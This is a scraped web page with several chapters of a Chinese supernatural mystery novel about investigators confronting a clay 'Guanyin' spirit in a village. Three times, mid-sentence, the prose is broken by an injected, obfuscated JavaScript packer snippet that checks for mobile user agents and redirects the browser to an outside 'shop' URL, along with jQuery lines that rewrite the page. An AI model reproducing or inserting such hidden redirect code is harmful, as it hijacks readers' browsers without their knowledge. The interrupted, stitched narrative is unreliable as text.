不错,很抽象,很有挑战,哈哈。
沿着刚才慈观音的行走路线,祂现在很可能已经到了尚盈盈她们居住的地方,村长暂借给她们住的,是之前的老房子。
金双绛顺着矮墙直接跳到房顶,走了最短直线距离,赶到的时候院子里并没有慈观音的身影。
她伏在墙边,身子贴着水泥,看清了屋内的景象。
尚盈盈和范行舟瘫倒在门边和小厅中央,全然没了知觉。
金双绛突然回忆起什么,脑子里某根弦绷断开。
‘啪——’
灯光透过窗户照在屋外的水泥地上,金双绛缩回黑暗里,又一点点挪动,窥探着屋内的情形。
慈爱的笑眼,精致的勾画,慈观音走到两人中间,那张上了釉的脸,在看到尚盈盈的时候又多了几分别样的光彩。
祂伸出合拢的五指,轻轻把她抬起走进卧室,尚盈盈恬静躺在床上,肚子顶着不规则的形状高高隆起。
那双手,轻柔地抚摸着她的肚子,一下,两下,滑了进去,只留下一对粗白的手腕在肉|体交界处。
金双绛看着祂的背影和动作,捂住了嘴巴。
她回忆起今天所有的事情,一个有关双生子诞生的故事在她的脑海徐徐展开。
原来所谓的第二个孩子,就是慈观音捏出来的!
金双绛把过尚盈盈的脉,她根本就没有怀孕,那个肚子是假的,她怎么还捏的这么起劲?
金双绛又探头看过去,发现慈观音已经将手抽了回来,上面还沾着湿滑的黄泥,像人肉血块。
眨眼间就被祂吸收掉了。
慈观音静静站在原地,头伸了过去,眼睛贴着肚子看了半晌,又收了回去。
回到小厅,慈观音把范行舟从地上抓了起来,放到了卧室的床上。
‘丈夫’的一只手拢住‘妻子’,另一只手轻轻护着他们的‘孩子’,旁边还站着一个看起来慈眉善目的泥塑像。
如果这时候有人从窗外取景,将这副画面定格,金双绛会建议她取名为——神笔马良(立体版)。
尚盈盈的肚子里面到底有什么,竟然虎过了这个不人不鬼的东西。
今晚所有人的行动随着泥塑孩子的诞生走向了尾声,金双绛目送慈观音离开,并没有选择追上去。
她从后门溜进屋子,检查两人的身体状况,和赵微尘一样,中了迷药。
水有问题,原本金双绛还纳闷这么多人,为什么那个老爷子只放了几瓶在碗筷旁。
金双绛伸出一只手放在尚盈盈那诡异的肚子上,感觉它比之前大了不少。
一种说不出的感觉环绕心头,金双绛退出了屋子。
离开之前,是金双绛跑过去给赵微尘拿了两瓶水,一共九瓶,被他们四个拿走了四瓶,但金双绛清晰记得她拿走后只剩下四瓶水。
是谁?
这个村子除了她们还有别的人来调查,并且也对村长端来的酒嗤之以鼻,觉得平常无害的水才安全。
金双绛站在门前摇摇头。
人外有鬼啊……
踩着房顶,金双绛很快降落院子中央,她刚要拉开门,却听到房后传来嗡嗡低语。
金双绛挑选了一个舒服的姿势,蹲在房顶听着下面人的谈话。
“你是不是脑子不好使,我说过了今晚不能动手了!”
“哦,哦哦……”
“回来!你又要去干嘛?”
“天黑,回家睡觉。”
“看看你眼睛下面的黑眼圈都要成腮红了!我跟你说过的事你能记住些什么?!听着,你把那个小夫妻给我看好了,全乎给我送走,这两个人你离远点!”
“知道了……”
有脚步声。
停下了。
“可是今晚烧火了,我们不用再杀人了吗。”
‘啪——!’
清脆的巴掌。
“他妈的,本来以为又是一个没人管的小子,没想到还他妈有亲人找过来了,幸好上次内一家还留了个婆子,我已经送过去了,你再敢说话我抽死你!”
“哦……”
一道脚步声走远,还有一道留在原地打转。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17315390|198946||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“真是奇了怪了,内个小丫头呢?”
金双绛原本听得津津有味,此言一出,懒散的眼眸即刻闪了一下,悄悄从房顶离开。
在一阵天旋地转中,毫无血色的手终于抓上了门把。
赵微尘不知道是该扶着额头还是捂着胸口,入目之处仿佛重叠了上千张半透明的虚影。
脑袋冲着墙狠狠来了两下,终于清亮了很多。
随之而来的是一大段赵微尘不想再经历第二遍的记忆,他其实感觉到酒里没什么问题了,想找个借口脱身。
但是金双绛当真了,她真的以为赵微尘是个一杯倒,还拿了水给他。
“……人呢?”
赵微尘里里外外,摇摇晃晃绕了几圈都没看到金双绛的身影。
走到门外就听见一个村民喊:“哎哟,谁家孩子掉坑里了!”
随后赵微尘就看着这位大爷拿着生锈的铁锹往人群里窜去,一个激灵,赵微尘也跟了上去。
扒开几个封着补丁的后背,赵微尘看见了村长的后脑勺:“王叔!”
“啊?哎呀哎呀,小赵啊,快把你妹妹扶起来,哎呀,怎么还躺在这里了,你这个哥哥怎么当的……”
赵微尘往前一大步,看见被各种尖锐物品指着的金双绛立刻跳了下去,把人抗在背上爬了出去。
一转头就能看见金双绛沾了湿泥的脸。
王贵权还在说:“哎哟,是不是昨晚的酒喝多了,幸好我们这儿附近没什么高的地方,哎哟,脏的哟。”
王贵权的嘴比他跟在赵微尘身后的脚还勤快,剩下的人也一哄而散。
把那些乱七八糟关在门外,赵微尘把金双绛放在折叠床上,转身去找了一块干净毛巾。
赵微尘的手隔着毛巾贴在金双绛脸上擦去泥渍,对她说:“好了,起来。”
金双绛睁开一只眼睛,又闭上。
哎哟,被人这么摸来摸去的还挺舒服。
换上赵微尘带的换洗衣服,金双绛把袖子和裤脚网上卷了卷,终于从小泥人变成了小白人。
“所以你为了不让他起疑才……这样?”
“对啊,”金双绛啃着馒头,接着说,“昨晚都怪我,没想到你演的这么逼真,手里的水下意识就送过去了。”
金双绛看着赵微尘,仔细看了一会儿:“你的额头……怎么又红了一块?”
“……蚊子咬的。”
“哦。”
“昨晚来过这里的应该是村长和他儿子,那个王竟我接触过几次,人看起来呆呆的,而且给人感觉需要一场不止十二小时睡眠。”
“是啊,是个很易碎的突破点啊。”
“所以?”
金双绛低头浅笑,压低帽檐,看向远处站着的身影问:“王竟啊,你们感觉他怎么样?”
“人挺不错的,带我们看了很多,而且村子里的人都很热情。”尚盈盈笑着说。
金双绛笑笑没说话,伸出拳头,摊开掌心,上面是昨晚她无意捡到的一对微型耳机。
“你们不想知道昨晚都发生了什么吗?”
‘尚盈盈好感-10’
‘范行舟好感-5’
5. 第五章-灵魂
金双绛眉心一跳,两根手指夹着耳机,用指腹轻轻一擦,一对更加微型的耳机出现在她手中,她拿在手里晃了晃,递了过去。
“改良版,拿走不谢。”
范行舟脸色微变,手有些不自然的扫过胸口衣服褶皱,脸色登时僵住。
他眉间警惕不减,伸手接过耳钉,问:“你都知道些什么?”
想起自己刚才被扣的十五点好感,金双绛连调笑的心情都没有了,她直起身子开口:“虽然不太清楚你们是哪个组织的,不过,”金双绛又恢复笑脸,“效率,观察力,演技都不太行啊。”
日光格外亲人,显得金双绛银白色的头发更加惹眼,铅灰色眸子直指二人。
一旁的赵微尘带着渔夫帽,拿着鱼竿在肉眼可见一条鱼都没有的池子里钓鱼。
被戳中心事的‘夫妻‘和皮笑肉不笑的’兄妹‘,远观倒是一片和气氛围。
尚盈盈将头发拢到耳后,露出浅棕色瞳孔,或许是察觉到金双绛没有恶意,:“你是老师派来的援手?”
“不,我只是想得到真相,福佑村双生子真相,”金双绛语气诚恳,伸出一只手,“如果目标相同的话,假夫妻和假兄妹合作一次,好不好?”
手被紧紧握住,金双绛感觉自己的小臂都要被摇散了。
“哎呀,丫头,你咋这么能干,这几亩地的玉米杆都没来得及收,还让你们这做客来的给把活干了,哎呀。”王贵权拍胳膊拍肩膀,把金双绛吹的比天高。
‘王贵权好感+20’
金双绛拂去身上沾着的枯草,大方一笑:“大家都这么热情招待我们,我也想为你们做些什么嘛。”
“哎呀,啥也不说了,好孩子,今晚和你哥到我家吃饭!”
四人分别后,金双绛找上王竟,得知他接待完尚盈盈两人后还要回家把玉米秆割掉,便主动提出要帮忙。
王竟呆呆的,抵不住金双绛的热情,就带金双绛和赵微尘去自己地里干活了。
赵微尘套了王竟的外套,戴着粗布手套,金双绛一身火红在地里割收速度简直就是要起飞。
她特意用捏金强化了刀锋,保持着最完美的切割状态。
赵微尘和王竟的腰现在稍稍直起来一些都疼的直吸冷气,金双绛左手端着碗,右手拿着一盘凉菜从厨房走了过来。
她绕道赵微尘身后,把碗筷摆到桌子上,压低身子贴近赵微尘耳边:“酒量怎么样?”
赵微尘侧头挑眉,和金双绛视线擦过,眼尾带着一丝不解,但又勾起一个信心十足的笑。
透过门缝,能看到王竟认真洗菜的模样,如果忽略他一个洋葱需要扒五分钟的话。
这两天金双绛在他面前一直都是一副邻家妹妹的样子,笑得脸疼,可好感一点都没长。
没关系,还可以另辟蹊径嘛。
‘砰——’
王贵权不小心踢倒了脚下一个啤酒瓶,他俯身去抓,一连抓空了三次,干脆一脚把它踢开。
酒瓶碰倒了另外几个空瓶,发出一系列清脆响声。
王贵权一脸沉醉,嘿嘿笑了起来:“哎呀,丫头,好久没人能陪我喝得这么痛快了!叔敬你,你真,再早个二三十年,咱俩必须拜把子!”
酒气扑在残羹剩菜上,王贵权又举起酒杯,仰头喝下。
王竟脸蛋跟上了满脸腮红似的,把黑眼圈都显没了,眼神呆滞,不知道是在盯着哪里,看到大家举起酒杯,也跟着往自己下巴上挥拳。
好在被赵微尘及时制止。
“叔,你还是见外了嗷!我真的,来这儿,我都没想到大家都这么好,这几十年大家一直选你当村长都是有原因的!”金双绛脸蛋红扑,手舞足蹈。
王贵权羞涩挥手:“嘘……都是大家抬举而已啦,哈哈哈哈哈哈……”
“哎呀,”两个人爽朗地笑出声,金双绛又一脸神秘地问:“叔,我看隔壁的张大娘,三天两头给你们送菜,你们……”
“哎呀!”王贵权把酒杯往桌子上一放,“我,我可没有,她爱干啥干啥,我,我可没那心思了。”
金双绛问:“叔,王竟哥都到了成家的年纪了,您来段黄昏恋没什么的。”
“不行啊,我得守着村子啊,”王贵权露出一副酒吧里常见的青年失恋表情,“我老伴走的早,我得让她放心啊,守好村子,守好儿子。”
金双绛又把王贵权的酒杯填满:“阿姨一定很为你们骄傲。”
赵微尘脚边几乎没有空隙,被啤酒瓶子塞得满满,看着金双绛游刃有余的样子,他觉得很厉害,很厉害。
肩膀被人大力搂住,金双绛另一只手高举,和王贵权的杯子撞在一起:“不醉不归!”
“不醉……不……”王贵权两只眼睛一大一小,翻着白眼直直向后倒去,咚一声撞在地面上。
金双绛脸上笑意不减,靠近赵微尘手里的酒杯轻轻碰了一下:“结束。”
赵微尘:“你都加了什么料,他怎么还晕了?”
金双绛捏着耳朵细数:“啤的白的混在一起,还有两坛从他后院里挖出来的,我看他装醉,就又加了安眠药。”
“看你们聊的那么火热,我还以为你要活活喝死他。”
王贵权那有一问答一问,故意放大的肢体动作,和一旁真醉的王竟完全比不了。
“他跟那种东西打交道,能轻易被我喝死?”
两人对视。
“你真想过?”赵微尘问。
金双绛微微一笑没有回答。
转身走到王竟身后,双手放在他的肩膀上,在他耳边问:“王竟,你是谁?”
王竟的瞳孔轻颤,突然变得很惊恐,配上他发红的脸像是要爆炸。
金双绛捏住他颤抖的肩膀,胳膊丝毫没有晃动:“你是谁?”
“我一直在想……你们为什么总是一副萎靡不振的样子,为什么睡觉的时候不敢闭眼,为什么……”
“被困在村子里。”
他哭了,很崩溃的哭了,两条腿乱踹,身体疯狂扭动,大喊着:“我不知道,我不知道,闭上眼之后我能看到那些记忆,我不要,我不要!”
王竟像个不听话的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17315391|198946||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
小孩,重复着机械地动作和叫喊,赵微尘和金双绛花了好一会儿才稳定他的情绪。
“别怕,我可以帮你,告诉我,你都看到了什么。”
金双绛穿着一套据说是从南方运来的大红花外套,将干瘪的王竟抱在怀里一下一下安抚着。
看上去很滑稽,但赵微尘脸上一丝一毫的笑意都没有。
把王贵权扶到卧室,一路磕磕撞撞。
“别怕,别怕……”
金双绛不知道自己重复了这两个字多少次,靠在自己肩膀上哭泣的王竟终于安静了。
他半睁着眼睛,泪水无声涌出,像他模糊又清晰的记忆。
“我……我是个女人,有很多人都看着我,我的父母,我的弟弟妹妹。”
“我好累啊,白天长在地里,晚上长在叫喊声,哭闹声里,后来,我遇到了一个男人。”
“他对我很好,很好很好,给我吃好吃的,买新衣服,我,我很开心。”
“他出了钱,还来我家里干活,父母才答应,我记得是初雪,他搂着我在窗前看雪,那雪怎么软绵绵的,好像看不完。”
“一年后,我们生下一个女儿,跟雪似的,软乎乎的,一逗就笑。”
“每次初雪,我们一家三口就凑到窗前,那年是第七次,我当时还怀着孕,女儿的脸贴在我的肚子上,我靠在他肩上。”
“那时候村里挖出一个雕像,好像是个女人,大家说是山神,要供起来,县里来了有钱人,说来实地考察。”
王竟的五官忽然皱在一起,手死死抓住金双绛的胳膊。
“我的孩子不见了,有没有人见过我的孩子!”
“我的孩子……”
“被人用一颗糖骗了,她还那么小,她的身体还那么小,我去要说法,被他们推到,我的肚子好痛啊。”
“他来了,他终于来了……”
故事到这里戛然而止,王竟的脸上满是泪水,他闭上双眼,在金双绛怀里睡去。
【王贵权(人类):
村子里的知识青年,家境不错,读书后选择返乡建设,于二十六岁与关静喜结连理,第二年获得一个女儿,名叫王凝画。
王贵权和父亲为福佑村建设出钱出力,在一处偏僻荒山发现慈观音雕像,王贵权提出发展旅游业,只得到了妻子的支持。
后来得到了一个赏识他的富商,几个人开着车走过颠簸的土路,好酒好菜被人招待着,王凝画来找爸爸,却遇上了醉酒的富商儿子。
王贵权看着妻子和女儿倒在血泊里,失去理智和他们拼命,常年不锻炼的商人很快落了下风,喊来人抬走被打的面色‘红润’的儿子,留下一笔巨款。
后来,王贵权又有了一个儿子,村里都传是捡来的,看着像丢了魂儿似的,福佑村也一天比一天好,人丁兴旺,还有生子观音坐镇。
但很多老人说,他变了,村子也变了。】
赵微尘站在门口,看着金双绛神色悲悯,轻轻拍着王竟的背,一晃一晃。
直至今天,王竟才完整的睡了一个好觉。
6. 第六章-调虎
尚盈盈和范行舟精神的很,将近凌晨三点还在家里踱步。
“你就这么相信她?”
“是谁昨天害怕肉里有毒,饭里有毒,酒里有毒,拿了纯洁无害的水给我喝,然后双双倒地不起?”尚盈盈歪着头看向范行舟。
“……抱歉,意外。”
尚盈盈扑哧一笑:“我没怪你的意思,马有失蹄,这次又不像之前出任务,把腐烂体都杀掉,现在可是要和祂们斗智斗勇,有个有经验的人给咱们指条明路,不好吗?”
从小名列前某,众星捧月的范行舟头一次尝到了被动的滋味,心里一股热血无处发泄。
白天时候,金双绛背着王竟简单和他们讲述了慈观音的事,并且告诉他们今晚等她。
尚盈盈一下午都没吃任何东西,一想起自己的假肚子经历了什么就一阵恶寒。
金双绛也好奇问了尚盈盈的肚子里有什么,她说:“这个是一名老师给我特制的假孕肚,里面还有一个超仿生婴儿,但以我对那个老师的了解来看……”
“这个婴儿大概率是他从哪里淘来的标本。”
而现在自己的假肚子里不仅有一个婴儿,还有个泥塑儿,难怪一整天她都感觉自己在前倾,马上就要扑在地上。
好在金双绛答应她会尽早帮她脱离苦海,她才恢复了直立行走的‘勇气’。
范行舟一双长腿在窗前反复进退,恨不得时钟的指针流速快一些再快一些让他快点看到那两张脸出现在玻璃的另一面。
尚盈盈问:“你说我们要不要……”
她话说了一半,被房顶传来的两道极轻的脚步声打断,随后一黑一白两个身影从后门闪了进来。
四人大眼瞪小眼。
“你们怎么不走正门?”
金双绛一怔,因为上次也是这么走的,就带着赵微尘走了她熟悉的路线,全然忘记了正门的存在。
她清咳嗓子:“这样比较有感觉。”
“记得我跟你们说过那些长大后回到村子里的人都是慈观音捏出来的泥塑。”
“但只有□□是不足以支撑他们生活的,至少还需要灵魂。”
“王竟身体里的灵魂是他母亲的,现在所有泥塑人的体内至少有两个意识共同存在。”
“很显然,本体的意识一直在压制泥塑人的力量,从他们萎靡不振的样子就知道了。”
尚盈盈低头,眼神轻柔从腹部扫过,看着金双绛说:“那他们究竟算人还是……”
“有血有肉,当然是人,但是他们的存在对于那些本该安息的灵魂来说实在是太残忍了。”
“打出名声,扩建村庄,这个王贵权真是打得一手好算盘。”范行舟站在一旁说。
感觉氛围有些低沉,金双绛站起身拍拍手:“既然已经掌握了敌方信息,我们现在该着手布置陷阱了!”
看着尚盈盈和范行舟清澈激动的眼神,金双绛露出意味深长的笑。
“过来,我给你们两个补补课。”
……
“你是怎么看出他俩是假夫妻的?”赵微尘问。
明明赵微尘自己也看得出来,偏偏还要多嘴问金双绛。
“首先,那个肚子的大小就不对,都已经接近预产期了,这个时候身边连家长都没有,两个人还来乡下溜达,怎么看都很不对劲。”
“最重要的一点,孕期的母亲可是最重要的,但我在范行舟身上看不到任何关爱,那种感觉很难演出来。”
况且范行舟还是个高冷哥。
赵微尘似懂非懂地点点头。
“你刚才都跟他们说什么了?”金双绛在‘补课’的时候把赵微尘支走去买早餐了。
金双绛狐疑看了一眼好奇宝宝一样的赵微尘,眼珠子一转,故作神秘朝他挥挥手。
赵微尘把耳朵凑过去:“富强民主文明和谐……”
赵微尘一脸无语,轻轻一拳锤在笑得花枝乱颤的金双绛身上。
“给你保留点新鲜感嘛,别这么小气!”
天际线露出一抹金黄光亮,不知道哪边传来几声嘹亮的打鸣声。
村民们拿起工具,又开始新一天枯燥重复的劳作。
今天的村子里没有任何新鲜事发生,而村民也对这几个白白嫩嫩的客人失去了兴趣,只有闲下功夫的大娘们聚在一起,为几人编造起各种宏伟事迹。
可谁都没想到,一记重磅炸弹会在半夜突然炸开。
“哎呀,咋样了咋样了。”
王贵权的外套还没穿好,鼓鼓囊囊披在身上,呼哧带喘从家里跑了过来,身上隐隐带着酒气。
门口围了几个大爷大娘,还没等人回答王贵权的话,热水一盆一盆往屋子里运,被血液浸透的毛巾扔了四五条。
“叫救护车了嘛!”王贵权迈着乱七八糟的八字步跑到范行舟身边,看着他满头大汗,握在一起的双手止不住颤抖。
“我,我叫了,但是这里路不太好走,至少要半个小时以后救护车才能到,我怕,我怕……”范行舟嘴唇发白,一会儿站起,一会儿蹲下。
一个大娘在旁边说:“有个当过护士的进去了,我们内时候都是这么过来的,别紧张,别紧张,一定母子平安。”
几乎半个村子的人都聚在这里,水泥房隔音效果不佳,时不时能听见揪心的哭泣声。
王贵权和赵微尘把人群疏散,只留下几个帮忙的大娘。
王贵权没看到金双绛的身影,以为她也在屋子里帮忙,又回过头找王竟,想让他开车去城里找人。
赵微尘见王贵权心不在焉,开口说:“王叔,您年纪大了,要不先回去歇会儿吧。”
“不行,我是村长,出了什么问题我都得盯着,而且这还是有关人命的事,我不能走!”王贵权斩钉截铁。
赵微尘也没再多说,站在范行舟身边轻轻拍了拍他的肩。
人群虽然退散了,但是村落间几家透出的灯光照在石板路上,还是透着关注和担忧。
大约过了十多分钟,周边的空气忽然变得异常安静,原本吵闹的屋内也静了下来,一个老太太驮着背抱着两个襁褓走了出来。
范行舟三步并作两步,小心翼翼接过其中一个襁褓,而王贵权和赵微尘也围了过来,大气也不敢出,眼睛黏在那两个小东西上。
“双胞胎,母子平安。”老太太声音嘶哑,听不出喜怒,低着头说。
“哈,哈哈哈,”范行舟边笑边哭,仰头把眼泪憋了回去,立刻冲进去查看尚盈盈的状况。
看着新生命的诞生,王贵权也湿润了眼眶,两只手在胸前交叠,目光时不时落在老太太手里的襁褓上。
“太好了,太好了。”王贵权说。
赵微尘微笑着开口:“王叔,这对孩子是在村子里出生的,你要不要抱抱看?”
“啊?不合适,不合适。”王贵权嘴上这么说,两只手却不停地搓动,生怕手里的冷气冻到孩子。
范行舟从屋子里走了出来:“怎么不合适,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17315392|198946||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这几天多亏村长的照顾,都怪我没注意到她的异样,才导致了早产。”
王贵权小心接过孩子,一只手捏住被子一角,小心掀开,一张圆润光滑的脸出现在他怀里。
孩子的表情一动不动,没有呼吸,像个精心雕刻陶瓷娃娃。
刚才还柔软温热的手感刹那间变得冰冷僵硬,王贵权脸色骤变,将被子盖了回去,死死把它压在胸口。
看着毫不知情的范行舟,王贵权勉强地扯了扯嘴角,开口说:“哈啊哈,恭喜恭喜,内个丫头怎么样了?”
抬起头,对面三人竟然都没说话,只是冷冷地看着他,而身前这个穿着朴素的老太太,睁着一双纯黑眼眸,皮肤细腻如雪。
一张陌生的脸。
王贵权的脑海里发出震耳轰鸣,此时他才发觉自己的身边已经没有了一个村民的影子,现在站在这里的,都是外乡人。
王贵权的指甲嵌入襁褓,压着嗓子颤抖地说:“王竟呢?”
赵微尘轻声开口,即使贴近湖面也惊不起一丝波澜:“他很安全,至少,”他的手伸向背后,“比起你现在。”
王贵权向后撤步,躲过赵微尘的飞镖,脚步在地上留下两道深痕。
再一看,范行舟脸上哪还有什么喜当爹的喜悦和劫后余生般的庆幸。
王贵权将襁褓护在怀里,另一条胳膊弯曲形变,手臂和五指以不同速度进行着形变,向三人袭击。
三人在五指间灵活躲闪,赵微尘一脚踢中指节,形成了肉眼可见的弯折。
王贵权吃痛倒吸冷气,随后将五指插入土地,泥土顺着指尖纹路向上攀爬,包裹住五个指尖。
随后那些泥土之下出现一个一个活动的土包,顺着地底向上攀沿。
‘噗——’
一个泥人扒开土包,从指根走了出来,身上的泥土随着动作大颗大颗往下掉,五官模糊,只能勉强辨认出正反面和带有特征的生理器|官。
十多个泥人走出向三人扑来。
几枚石子破空而出,穿透泥人额心,溅起一场泥巴雨。
尚盈盈站在房顶,手里还握着一个简易弹弓,腰间挂着一个装满石子的布袋。
王贵权一眼锁定尚盈盈平坦的肚子和她平静的面庞,瞳孔微微扩散。
四个人……
他们刚才闹出这么大的动静都没有引来一个人,王贵权收回手臂,转身抱着孩子奔向观音庙。
那些泥人拦在四人面前,范行舟握拳在胸前做出交叉状,两个拳头上似乎多了一层金黄色的透明罩。
那些向着另外三人进攻的泥人突然都调转方向往他这里跌跌撞撞跑来。
“你们快去帮她,我殿后。”
赵微尘没有犹豫转身离开,而尚盈盈和年轻女孩对他点点头,跟在赵微尘身后往观音庙狂奔。
观音庙的门紧闭,王贵权将大门向里推开,看到里面的情形愣在了原地。
紧随其后赶到的赵微尘等人,皆是呼吸一滞。
门框中心,清影独立。
纷扬的木屑下是空荡劈裂的高台,金双绛脚踩拜垫,满地狼藉。
地上,是碎裂的观音像,裂缝从脑后崩裂,残肢散落。
金双绛背对众人,似乎是感受到什么,微微侧头望过去。
连完整的侧脸都没来得及露出,庙里的土壁裂开一条巨缝,无数断肢残体从裂缝中涌出。
那条势不可挡的骨肉瀑布,瞬间吞没了金双绛的身影……
7. 第七章-真心
“连真情侣都不是,你们就敢假扮真夫妻,胆子很大嘛!”金双绛露出一副地痞流氓的表情笑嘻嘻调侃着。
尚盈盈也开玩笑:“是啊,还有假肚子呢!”说着还上手拍了拍。
范行舟坐在一边,脸上是按耐不住的焦躁。
金双绛说:“我要去毁了观音庙,需要有人帮我吸引注意力。”
“好啊,放火烧山还是炸粪坑?”尚盈盈问,范行舟听后结结实实漏出一副非常一言难尽的表情,似乎想象到了什么。
“哎,违法乱纪和恶心人的事咱们就不沾手了,话说,你们另一个同伙如果是女孩子的话,能不能再请她帮个忙?”
尚盈盈嘴角在笑,很牵强的笑:“你又知道?”
“你们两个一直在一起,根本用不上耳机,如果没有人在外面接应的话,难道那其实是个助听器?”
尚盈盈彻底服了,范行舟原本双手抱胸,一脸严肃,现在也乖乖的凑过来听金老师的表演课。
“不用大喊大叫,偶尔呻吟一下,让外面时刻紧张着就好,还有你,”金双绛看向范行舟,“一定不能露馅,今晚直接通宵,变得颓废些。”
“有没有养过什么宠物?”
范行舟回答:“小时候养过一只狗。”
“在脑海里想象你心爱的小狗难产,表情一定要真切!”
范行舟思索了一秒,点点头,把狗是公的憋了回去。
“我还让他们外面那个小伙伴假装专业接生混进去,把所有来帮忙的大娘和女孩子都敲晕带到后院,然后你负责把她们送回家。”
金双绛从尚盈盈那边回来后,忙不迭开始给赵微尘安排任务。
赵微尘拎着金双绛递给他的几根金链子:“那这些呢?”
金双绛从衣服兜里掏出一张皱皱巴巴的地图,上面花了好多红色圈圈:“这都是我观察过的都是活人的家庭,你到时候把这些链子挂在他家门口。”
赵微尘没多问,将链子收好,看着金双绛忙碌的背影问:“你要去做什么?”
“我去刷怪啊。”
……
计划顺利进行,金双绛看赵微尘的链子放得差不多,立刻催动它们缠绕住房子,将人困在里面。
看着远处王贵权跑过来的身影,金双绛躲进暗处,悄悄前往另一方向。
观音庙的大门被轻轻推开,金双绛一步一步走过院子,月台,来到慈观音脚下。
殿里回荡着金双绛的脚步声。
慈观音将近十米高,金双绛仰着脖子看了一会儿,忽然跪了下来。
她双手合十,庙里回荡着轻声话语:
“一愿,所有灵魂安息。”
“二愿,□□回归尘土。”
“三愿……”
金双绛睁开双眼,台上是慈观音落灰的身影,借着门外月光,她看到地面上投着一道长长的影子,就在她身后。
她的表情没有波澜,补上了后半句:“汝归西。”
连庙里的观音像都是幌子,这个慈观音还真是惜命。
金双绛回身劈棍横扫,被慈观音柔软的手骨缠绕竹棍,向她袭去。
她立刻抽身躲过,甩出金钩击中慈观音肩膀,祂抬手轻抹,将裂开的部分修好。
金双绛两人跟猫抓老鼠一样在观音庙里搞破坏,慈观音那张笑颜因为金双绛精准的袭击而数次裂开,终于无法重修于好。
变得扭曲。
而庙外突然多了很多沉重的脚步声,是慈观音叫的帮手。
一群人迈着步子走进大殿,将金双绛围了个水泄不通。
她看见了第一晚的那个小哥,这几天偶尔遇见过的面孔,还有……
王竟。
被围攻的金双绛不慌不忙坐到了供台上,一只脚踩在她刚才跪过的拜垫上,和慈观音隔着人群对视着。
兀地,她温柔笑了,旋即喊出一个名字:
“张晶。”
然后是第二个名字:“李喜庆。”
第三个,第四个……
是观音庙山后墓地上雕刻着的名字,不多不少,刚好是这里所有泥塑人加一起的数量。
那些墓碑被掩埋在土里,像是在掩埋一段尘封的过去。
金双绛并不认识这些人,但总觉得他们一定死的蹊跷,活的憋屈,被当作能源关在一个陌生的身体里,真是憋屈死了。
所有泥塑人僵着死鱼眼睛站在原地,肢体僵直,仿佛身体里沉睡的什么正在被唤醒。
手臂和双腿开始抽搐,脑海中的两股意识在打架。
果然有效。
慈观音的裂口随着祂扑上来想要撕碎金双绛的动作越来越裂开,那口子里似乎有什么要钻出来。
祂的表情非常愤怒,恍惚中,金双绛感觉那张脸似乎有些像……小孩?
一边牵制着慈观音的动作,金双绛的声音还回荡在大殿里:
“你是谁?”
“你们究竟是谁!”
“你们早该死了!!”
在金双绛一次次的喊声中,人群里发出低语:
“我是谁……我是谁……我是谁……”
声音从四面八方包裹而来,捂住耳朵你也能看见它们呆滞的表情和无声的泪雨,闭上眼睛那些重复的话语像是绳索紧紧勒住你的每一寸肌肤。
肉眼可见,慈观音身上的裂缝愈发加深。
金双绛不得不承认祂们的精神污染实在是强大,自己的棍子打偏好几次了。
但很明显,对对面这位影响更大。
金双绛收起竹棍,停止了防守,一直持续攻击她的慈观音正躺在一比一还原的自己前痛苦的扭动着身体。
不听修补着自己身上的疤痕。
这个腐烂体还真是生命力顽强,果然很抗揍。
“放过它们吧。”金双绛面无表情地看着祂,随后抬起头对着观音像低语。
“你是谁?”
“真正的观音像就在你的身后,所以,你是谁?”
金双绛低垂着眼眸看着祂,彼时她身后的低语也消失了,那些人的肌肤变得陶黄,干枯裂开,飞向空中。
平地激起一场风沙,有些迷人眼。
那些不断重复的低于随风飘去,金双绛莫名感觉很平静。
而祂身上的伤疤开始收缩,愈合,蜷缩在观音像脚下,躲到它身后。
金双绛看到那张属于慈观音的脸消失了,是一张雪白干净的孩童脸。
她眼前似乎闪过什么画面,回过神,是向她砸来的观音像。
……
金双绛踢走脚下的陶瓷片。
人呢?
身后传来开门声,金双绛下意识望过去。
却听见有什么正从土壁里挣脱。
密密麻麻啃食着土壤。
‘砰——!’
那些泥塑残肢从里侧堵住了大门,四周寂静无声。
远处传来范行舟的声音,他冲着人群大喊:“快走!有东西正在围过来!”
可金双绛生死未卜,几人脚下像黏在地面上,不肯挪动半分。
半晌,无数人影正朝他们所在的方向走来,是各种各样的泥人,失败的泥人。
出于对金双绛的信任,赵微尘沉声说:“走!”
顿了顿,他又往后扯了扯王贵权,可他像丢了魂,眼睛和嘴巴都张得老大。
无声地重复着:“没了,都没了……”
赵微尘又用力掰着他的肩膀,此时一道翻天气浪从观音庙里爆发出来,直冲天际。
